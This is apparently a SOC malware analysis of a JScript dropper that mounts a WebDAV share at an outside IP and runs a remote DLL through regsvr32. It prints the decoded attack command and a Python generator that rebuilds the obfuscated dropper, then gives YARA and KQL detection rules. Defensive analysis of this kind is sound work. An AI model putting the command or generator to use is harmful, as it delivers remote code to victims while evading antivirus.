unclassified-js-webdav-dropper: 41472c6a — 36-entry noise-key dictionary, no PowerShell wrapper

Executive Summary

A 4.7 KB JScript Windows Script Host dropper using a 36-entry random-noise dictionary lookup to assemble a WScript.Shell.Run command. Mounts a WebDAV share at \\45.9.74.36@8888\DavWWWRoot\ and silently registers a remote DLL via regsvr32 /s. No PowerShell wrapper, no wordpad decoy, no sandbox gate, and no self-replication logic. This is the fifty-eighth confirmed sibling in the unclassified-js-webdav-dropper cluster.

What It Is

The sample is a single-line JScript payload preceded by 36 dictionary assignments, each mapping a random lowercase noise string (15–20 characters, no semantic content) to a single ASCII character. The dictionary object is named omiewmayv. ^[strings.txt:1-36]

How It Works

1. Dictionary seeding — 36 lines of omiewmayv['<noise>']='<char>'; map noise keys to characters a-z, 0-9, and punctuation. ^[strings.txt:1-36]
2. Global-object access — Function('return this')() acquires the global object (WScript runtime), avoiding direct references to WScript or ActiveXObject. ^[strings.txt:37]
3. Shell creation — ['WScript']['CreateObject']('WScript.Shell') instantiates the WScript.Shell COM object. ^[strings.txt:37]
4. Execution — .Run('<command>', 0, false) spawns cmd.exe with a hidden window (window style 0) and does not wait for completion. ^[strings.txt:37]

The assembled command is:

cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\189552449921672.dll

Decoded from the noise-key concatenation at runtime. ^[strings.txt:37]

This sample differs from prior siblings in three ways:

• No PowerShell wrapper — many siblings wrap the command in powershell.exe -EncodedCommand or -windowstyle hidden; this one calls cmd.exe directly.
• No wordpad decoy — pure-batch siblings often launch wordpad as a decoy; absent here.
• No self-replication — polyglot siblings copy themselves to %userprofile%\<random>.bat; this sample has no such logic.
• 36-entry cardinality — smaller than the 62-entry dictionaries used in cloudslimit.com and dailywebstats.com variants.

Decompiled Behavior

Not applicable — this is a plaintext JScript file. No Ghidra decompilation required. The entire behavior is recoverable via static string analysis and dictionary reversal.

C2 Infrastructure

No fallback C2, no domain-name masquerade, no SSL. The payload filename is a 15-digit numeric string, consistent with the family's naming convention. ^[strings.txt:37]

Interesting Tidbits

• Noise-key naming — The dictionary keys (omiewmayv, zpmcswadfzcwsu, pjoynaa) are random 12–15 character strings with no semantic content, drawn from a consistent lowercase-alphabet generator. This differs from the natural-language compound-phrase keys seen in siblings aac0198b5 and 94686f16. ^[strings.txt:1]
• Minimal footprint — At 4.7 KB and 37 lines, this is among the smallest dictionary-dialect variants observed in the family. The 62-entry cloudslimit.com variants typically exceed 8 KB. ^[file.txt]
• try/catch anti-forensics — The payload is wrapped in try{zpmcswadfzcwsu();}catch(pjoynaa){...} where zpmcswadfzcwsu is undefined; the catch block always fires. This is a trivial anti-static trick to hide the real payload inside an apparently error-handling block. ^[strings.txt:37]
• No sandbox gate — No aspnet_compiler checks, no GetTickCount timing loops, no WMI queries. Executes immediately on any Windows host with WSH enabled.

How To Mess With It (Homelab Replication)

A Python generator that recreates the noise-key dictionary obfuscation:

import random, string

def generate_noise_dict(chars):
    d = {}
    for c in chars:
        while True:
            noise = ''.join(random.choices(string.ascii_lowercase, k=random.randint(15,20)))
            if noise not in d:
                d[noise] = c
                break
    return d

def obfuscate_js_command(cmd):
    chars = list(set(cmd))  # unique chars needed
    d = generate_noise_dict(chars)
    lines = [f"omiewmayv['{k}']='{v}';" for k, v in d.items()]
    # Rebuild command via dict lookups
    expr = "+".join(f"omiewmayv['{next(k for k,v in d.items() if v==c)}']" for c in cmd)
    payload = f"try{{zpmcswadfzcwsu();}}catch(pjoynaa){{Function('return this')()['WScript']['CreateObject']('WScript.Shell')['Run']({expr}, 0, false);}}"
    return '\n'.join(lines) + '\n' + payload

# Example
cmd = r"cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\189552449921672.dll"
print(obfuscate_js_command(cmd))

Verification: Save output as .js, double-click on a Windows VM with WSH enabled. Monitor with ProcMon — you should see cscript.exe or wscript.exe spawn cmd.exe with the decoded command line. In a safe lab, replace the IP with a local WebDAV test server.

What you'll learn: How trivial character-substitution obfuscation defeats naive string-matching AV while remaining instantly reversible by an analyst.

Deployable Signatures

YARA rule

rule UnclassifiedJSWebDAVDropper_NoiseDict_36
{
    meta:
        description = "JScript WebDAV dropper with noise-key dictionary lookup (36-entry variant)"
        author = "PacketPursuit SOC"
        date = "2026-07-13"
        sha256 = "41472c6a7c0b333c7112e0ad05246d73d64cc3aa18a0b622e5648099f4eb7dd3"
        family = "unclassified-js-webdav-dropper"
    strings:
        $dict_pattern = /omiewmayv\[[\x27"]\w{15,20}[\x27"]\]=[\x27"][a-z0-9][\x27"];/
        $func_return_this = "Function('return this')()"
        $wscript_shell = "WScript.Shell"
        $webdav_45 = "45.9.74.36"
        $davwwwroot = "DavWWWRoot"
        $regsvr32 = "regsvr32"
    condition:
        filesize < 10KB and
        #dict_pattern >= 30 and
        $func_return_this and
        $wscript_shell and
        $davwwwroot and
        $regsvr32
}

Behavioral hunt query (KQL)

DeviceProcessEvents
| where InitiatingProcessFileName in~ ("wscript.exe", "cscript.exe")
| where ProcessCommandLine contains "cmd" and ProcessCommandLine contains "net use"
| where ProcessCommandLine contains "DavWWWRoot" or ProcessCommandLine contains "regsvr32"
| where ProcessCommandLine contains "45.9.74.36" or ProcessCommandLine contains ":8888"
| summarize arg_max(Timestamp, *) by DeviceId, ProcessCommandLine

IOC list

Behavioral fingerprint

This JScript dropper seeds a runtime dictionary of 30+ noise-key-to-character mappings, then uses Function('return this')() to access the global WScript object, create a WScript.Shell instance, and invoke .Run() with a cmd /k command that mounts a WebDAV share via net use and immediately executes regsvr32 /s on a remote DLL. No PowerShell intermediary, no decoy application, and no sandbox gating. Window style is explicitly set to 0 (hidden).

Detection Signatures

References

• Entity page: unclassified-js-webdav-dropper
• Technique: js-dictionary-char-lookup-obfuscation
• Technique: webdav-regsvr32-dll-sideloading
• Previous sibling analysis (pure batch, same C2): ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4 ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html]

Provenance

• File type: file v5.44 ^[file.txt]
• Strings: GNU strings (default) ^[strings.txt]
• FLOSS: Failed — not a PE binary ^[floss.txt]
• CAPA: Failed — not a supported file format ^[capa.txt]
• Binwalk: No embedded signatures detected ^[binwalk.txt]
• rabin2: Header analysis on non-PE returned minimal metadata ^[rabin2-info.txt]
• Dynamic analysis: CAPE skipped (text file, not a binary class) ^[dynamic-analysis.md]
• Payload decoded via manual dictionary reversal and string-concatenation evaluation in Python 3.12.